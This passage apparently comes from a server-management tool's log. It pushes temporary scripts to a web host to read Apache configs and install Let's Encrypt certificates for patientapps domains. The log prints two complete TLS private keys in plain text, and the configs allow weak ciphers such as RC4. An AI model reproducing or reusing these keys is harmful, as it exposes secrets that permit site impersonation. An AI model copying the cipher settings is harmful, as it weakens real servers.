    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-13 06:00:46: 

chmod 755 /tmp/pkp252342; /tmp/pkp252342; rm /tmp/pkp252342

2025-11-13 06:00:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_portal_net.conf	1664

<VirtualHost *:80>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-13 06:00:46: 

PUT: /tmp/pkp132306

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-13 06:00:46: 

chmod 755 /tmp/pkp132306; /tmp/pkp132306; rm /tmp/pkp132306

2025-11-13 06:00:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt	5397
82:f8:b2:fc:27:54:e6:32:de:a8:4d:5a:05:aa:a2:a6

-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBofKfo2qo6aGcHlCGsAg0Zs4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEzMDUwMjEyWhcNMjYwMjExMDUwMjExWjAhMR8wHQYDVQQD
ExZwb3J0YWwucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEApouLxwgdeUYAxVjWkH0ns6t6nEvf0tHlEQ8ZljoZHOfXKbHTNvQV
NSXTTK6KejQXH9trAhmWt7H1KL/eU5lW2Q7Kqh3VvPgYCh6iqgDF4xJS504v7PGi
3a4K61kMyEGfr3I6LyAB/TGabS/Zpl+78uG1WrSAga6okTntBzRvEJpXApQR3PUx
BTMx1Bz5CN6dqf1fIEOwU25oqmthaoWwe7WG1qs5t5QSwzL7FrOtgW17WJMe83z4
W+3E+p9BdLvQteUcvX/ARoiZTk+xO9v1sCr7ISrexp7NtxLurvgKkIJP4PT2CoT1
Jflvzn3pF3BdMdGoL8OCb/6bW4iF3oLMUQIDAQABo4ICPDCCAjgwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBTdJHQlNU05mveWVtUCLHh/NgkeHDAfBgNVHSMEGDAWgBTn
q58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CFGxpdmUucGF0aWVu
dGFwcHMubmV0ghZwb3J0YWwucGF0aWVudGFwcHMubmV0MBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
NTcuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYADleUvPOuqT4zGyyZB7P3
kN+bwj1xMiXdIaklrGHFTiEAAAGae81KpQAABAMARzBFAiBUOgfD8nZhyqWUGYMp
9MT6TdPETgiP3hiH3EoIkL+CmQIhAI+HlT9RVb49WfDWGXh8Y1d/+DhztYH0Y9zB
hL+xqpUeAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGae81S
bAAABAMARzBFAiByd9VbbeMiwf5y+I8BybeHg41a+mVcawStaYcAMggybgIhAN56
fK+l3UMaX4P6gT8MvBjgwSllp7jjpxlLb5qbhYvJMA0GCSqGSIb3DQEBCwUAA4IB
AQAkpE7d2EkX/eVP45FXF4uWikksTvGU7oXRJ3VdcWNc3hFf9bEaRS0wT0KApgSi
+CHq4SHXh7uenaETtaf27O4zHDsc/iYv6dQTMHxTzK+ipCkYAOoSVnL1z5f9Az70
PXucShX4q+ADV/ui6leWIBOssnGkciDcRGljbozwULNjwoD5B/2VWe5basCDJhdr
GD2fx46vJwuPN48e3mvhUCQMX3nfn8TATBjEUy3kjhSOWtdLRqI+Yej+wui/HQ9U
YxkGwITzD5PQG6N9GOpm0BCh303aWYB7ALxfVG5tEh68HyUB34M26LLTyb2mUBk2
hubgTsqo3GBAZLHwPLtZ2GNa
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCmi4vHCB15RgDF
WNaQfSezq3qcS9/S0eURDxmWOhkc59cpsdM29BU1JdNMrop6NBcf22sCGZa3sfUo
v95TmVbZDsqqHdW8+BgKHqKqAMXjElLnTi/s8aLdrgrrWQzIQZ+vcjovIAH9MZpt
L9mmX7vy4bVatICBrqiROe0HNG8QmlcClBHc9TEFMzHUHPkI3p2p/V8gQ7BTbmiq
a2FqhbB7tYbWqzm3lBLDMvsWs62BbXtYkx7zfPhb7cT6n0F0u9C15Ry9f8BGiJlO
T7E72/WwKvshKt7Gns23Eu6u+AqQgk/g9PYKhPUl+W/OfekXcF0x0agvw4Jv/ptb
iIXegsxRAgMBAAECggEBAJauHpK+ltwIJ95lGAu2EFuQQ+hxBVpaKOOcQ8wVWG88
mwDQMIbBowZo6JmyOPuDcYCTJmfJ+wDL80EhBuegDmFn7pinUaAc3rMZMJabCG7/
Px6jMN0xaeci9iIkeVoddXpo4JeOX/5SCKPM7SCH8SY4a7pbIQEzorNyMy+Xkvzz
EQsXCSkWAVYVfxe9rCIceuaGA6ctP1QMbEIIFNs+udlK5c5FUX/N3f/GYZnTPb4B
JEp8n+bF0ofuJVXFTEZ9g4b0IiEfu6qT2o41GvnXMmPXLzIkRmhith/DHeOXs99a
v9WHCwnOcqzMcRJ0QStnrYBW695i33xl8u5WT2z4pAECgYEA1ERQaib/xNJ9+y7M
tzg4QFovE465L/webQp7gUp8UkDt/7NdeFo2EU4oyTdgXlMAFAIkYn2cKgWMsK25
4tx0Fw7pitg+pAhi3PAh1jSky1t1g26pfFgqyfKWaGmtn7wSsZSnnJq6x2AQSrx3
Q2UrvueTFy85Ni12JiAuJKqunbECgYEAyNu1heDpl0k5ZFqQ8SPGmCeN8DA/Tl12
Kk/YtEEBr9jSSnjwsF/8gDYDA2O9Emc9zn4Apc4Tm7zdR14lVkEg79545r7hmsB8
N+zJXZ5wO4/O5tCIB/FuhUxVpJOEL/X9GvWe8D4Av+EmLVa8sM1na/3OXPZbPyWF
p4vgirAToKECgYBwtcF5TDH9YcORT51WIF0GFpzuppdAmn/RaIKB+Xof9ugpISWd
lVEmSTkw9t2N2EavWR/WyFnWmlHFMsoEYwilgb6SghZo5ScRp9RfuF5UuMCiRG1s
YCiASPaChLKzoZrPfl6tsh9BZIniFUbCm4LqAG7DHckkMmmM/wNhZtwHUQKBgHc1
bta2VezkGJvm5H85rHRBhYw4Flp8PdV+7i6NJmMnXCe2/6KuVT4C0GcCmwSBIb2c
KuY9GIYl4W6qAZ7fqJy0fSz1vRALja3jat+VWScAgtuaiCGuuNmEJJA4vQt6A24s
uNf89JTtG6ts/zAvuGHvkLq7vAwOSPTXn7ywI/YBAoGAEnysBFCBfl25c032jxog
WeNwg6uoY/CD6KvISwpTNtw9RgPaAC9neFSw7Xlg/WVoroDEmPE29Xu/oNi5ypdO
IgCcHNY4xEmUNjGvSFpysV9wm/THVcVop0x67Ngja132E+gvyl7JVVu6LTCyxEog
t2sUcdt+YdZmn700ih7ziRs=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-13 06:00:46: Establishing a connection
2025-11-13 06:00:47: Establishing a connection
2025-11-13 06:00:49: 

PUT: /tmp/pkp284306

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-13 06:00:49: 

chmod 755 /tmp/pkp284306; /tmp/pkp284306; rm /tmp/pkp284306

2025-11-13 06:00:50: 


0


2025-11-13 06:00:50: Establishing a remote connection
2025-11-14 06:00:03: Establishing a connection
2025-11-14 06:00:03: Establishing a connection
2025-11-14 06:00:03: 

PUT: /tmp/pkp753029

#!/bin/bash
if [ -d "/var/www/patientapps_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-14 06:00:05: 

chmod 755 /tmp/pkp753029; /tmp/pkp753029; rm /tmp/pkp753029

2025-11-14 06:00:05: 


0


2025-11-14 06:00:37: Establishing a connection
2025-11-14 06:00:38: 

PUT: /tmp/pkp264120

#!/bin/bash
temp_file=$(mktemp)
TARGET=d18ebcef2c53b2fff4c3f6f80595db99.crt

cat > $temp_file <<'endmsg'
a5:1f:89:5e:40:b2:b8:12:61:64:2a:60:1a:4c:aa:b2

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBiIoZxXJlBRxbpnXxdUNUrAvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTE0MDUwMjA1WhcNMjYwMjEyMDUwMjA0WjAZMRcwFQYDVQQD
Ew5wYXRpZW50YXBwcy5jbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AJQOV4RMQLF/gqwUUE979lIiVeMFFuubPX7iD8DagIO+eorvkFBsip7BqyDRK2pu
uUbcEsCdft85HHNnXIS11yI+QhzkqOeK8UkfKWOqA122bCXb+5ArlCFSG5ou54Nc
1KbPLuSjYJufvFRkdsaG/03uVgPgGHO3hhMooUaHXos4kQ3Q7LoLrzEcObPKgNHI
dLkUwpbfDu5UxDjJRqf5ZmC+yGLXN5iUHj3qp5RAI5bwNvFPxvS4PRK2+j85t0FH
0Z/z4zD2cWsCwRt/YQ8FjnjVrjR7ctvJivFPF9ENyH8noiKYMOdMpef8bpwZHFv9
S8vBX4kahKXO5hypVd6nijECAwEAAaOCAi8wggIrMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUi6NlcQDclRiPQFaIAvuqw4i2RjEwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzArBgNVHREEJDAighAqLnBhdGllbnRhcHBzLmNvgg5w
YXRpZW50YXBwcy5jbzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzQ4LmNybDCCAQMGCisGAQQB1nkC
BAIEgfQEgfEA7wB2AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAAB
moDziKAAAAQDAEcwRQIhAIiUSnTDaAeg3dfCObrdaQOISiOQdbYE+2qwsSWM1ma5
AiAYxyA7zqfQR6lQH3aT3pB+d+aRSaouI0jE4qxhF3mj1gB1AMs49xWJfIShRF9b
wd37yW7ymlnNRwppBYWwyxTDFFjnAAABmoDzkJ8AAAQDAEYwRAIgGKbrCiLgS7NR
zWA6WKjvMdqqY2ap0bX0dzEPgeH6VyACIFMPLTVFvr3FZNL8aCnT8i2rF7ngysO4
nX69ivDnLtywMA0GCSqGSIb3DQEBCwUAA4IBAQCNNSHMGfrbCTxk2XUtcg0fujp7
GdyFkPGI+Hpcy+4Z3Y/B93wRbwBU51Bp7NaO81ukfuCFaLTniJs6O9qPnZPAN7Lr
dcRSjdd+WB7h11dsBc3G5xkel2GJLSF9rdb43b3DHOnQiIJ3D54UO3yyfjPZST/T
Do2+athFou1NtR4nHrF+ViilKLirFUls/lQEK8DYCep9RHiDAGmsZi7IJLxJwHua
qPJuiLm/l/6WFOOrl1kGle64vbfxDDJcA/D8h+0WDnBgLB8ae6GrObnUxFcq9RW1
NaNh1aoFDu+ncACf5DICNGfy6Jz34zOAgYPyXUyNI0ASvMUuFhkHrWmPbb2V
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCUDleETECxf4Ks
FFBPe/ZSIlXjBRbrmz1+4g/A2oCDvnqK75BQbIqewasg0StqbrlG3BLAnX7fORxz
Z1yEtdciPkIc5KjnivFJHyljqgNdtmwl2/uQK5QhUhuaLueDXNSmzy7ko2Cbn7xU
ZHbGhv9N7lYD4Bhzt4YTKKFGh16LOJEN0Oy6C68xHDmzyoDRyHS5FMKW3w7uVMQ4
yUan+WZgvshi1zeYlB496qeUQCOW8DbxT8b0uD0Stvo/ObdBR9Gf8+Mw9nFrAsEb
f2EPBY541a40e3LbyYrxTxfRDch/J6IimDDnTKXn/G6cGRxb/UvLwV+JGoSlzuYc
qVXep4oxAgMBAAECggEALUAM43RiuV0dVPaIbSKX8BZqZY4iqTOzIdp5shmV+a33
ygrZ8pqZ61eJs+f5+veITO3qFVCNfC/6UBMhJbZl4CNjFW2Vad7/S7focHt/t96P
QyruwetvxJdRtFftjiqLG8hqrpp4Zlf1uV1TJ+4OjYTwaRLOpl9K7QQX9nRdIvNZ
7mQiCFgr0xAIhIcH0ggOuwknaHhjpYo3NdwZ1AFLctMl2R5+nEr/Hd0m49cpTgGp
fNNLxN3funvDQAWjPJC1FwsJUtbzcJ1T8zONRbQ1F3fUH9IZFREp7vDMgwW3OL1s
en6Jlaps7WUKn5ZTajuFwtACgnB+2NhmcIq5jikIOQKBgQDFJOeQg+ujspWWFsqU
vLaJf3Btc0t8QaFOp55ruLs/Z7Ydinxu+AAIez9Ymm4AxQeMVaf1OpoR8insTnX4
/2R1+tALUELup2AcLpn/hVH1O+nIz1hXB/+/UK7eWx1vfFyE6JwVBIftXDEC5wbT
RdgskDZ65oixOoivSwCB1QvszwKBgQDAQcnjbS6wh7RSuqGld6mxuRgE2seJzj1a
1B9HnxErsz4vU+pQ3F9IO9P3q4zmgUzzh3o1q8hGEIfEP70h187WHTog25xmRLzJ
XpnDeV/Sp1KoveJmjgB1gkZbTn6LSO0lj4bUvsB+4ZsBuHwL/KxyDE66yOzB/pH2
ZD2fFojY/wKBgDNyuRfGxaT3wv/jPMTqJrzlTCLUFtv7iKwtJDO6hus6FpXJAUY4
ZFHSUCrASnra8GhYJjfiLjkGuJgZtcHgbIg5hzecn4sGlRdltfyv/z5/fzhPnB9C
UCTOWoRexOTGUKLCzZDSmOKBz6yRO//A13RxwjX6maueufL9IMnBHpaTAoGAS9Fm
AadME1fg+AMbvjpblHfPDhMNP74ymgAvObp0NgygyF9Kd4sAlGbrp69iiICTTTKv
Mj1FZMQeFnmgZ5lIu02ZX93bZsVSwgLplpnl/Rf5VAxWHWWArtaqUlW5N8qRow9f
98Ql+6OS0nHjkYKaqvtJjQWxwKtY+pb7aiKj4xcCgYBszkbBW7g8st3PFigUcGJP
cIrs9NGJgoFMfhlUCQ3gzUjdCTXH4TTUXvxJtujPefKO0yj8LVOckV2mdmfYhVU/
IhD/6z8hQ/PiCKcPNqs7y0NIBLnpRKaFmLVA1LOmAMKWL2Wf6I4Fj4naaLXWVsBU
6BeIEB8MU1RLgaNaHdFDqw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-14 06:00:38: 

chmod 755 /tmp/pkp264120; /tmp/pkp264120; rm /tmp/pkp264120

2025-11-14 06:00:38: 


dir=/etc/ssl/certs


2025-11-14 06:00:38: 

PUT: /tmp/pkp889000

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_www_co.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-14 06:00:38: 

chmod 755 /tmp/pkp889000; /tmp/pkp889000; rm /tmp/pkp889000

2025-11-14 06:00:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_co.conf 42

<VirtualHost *:80>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2025-11-14 06:00:38: 

PUT: /tmp/pkp608699

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_www_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_www_co.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
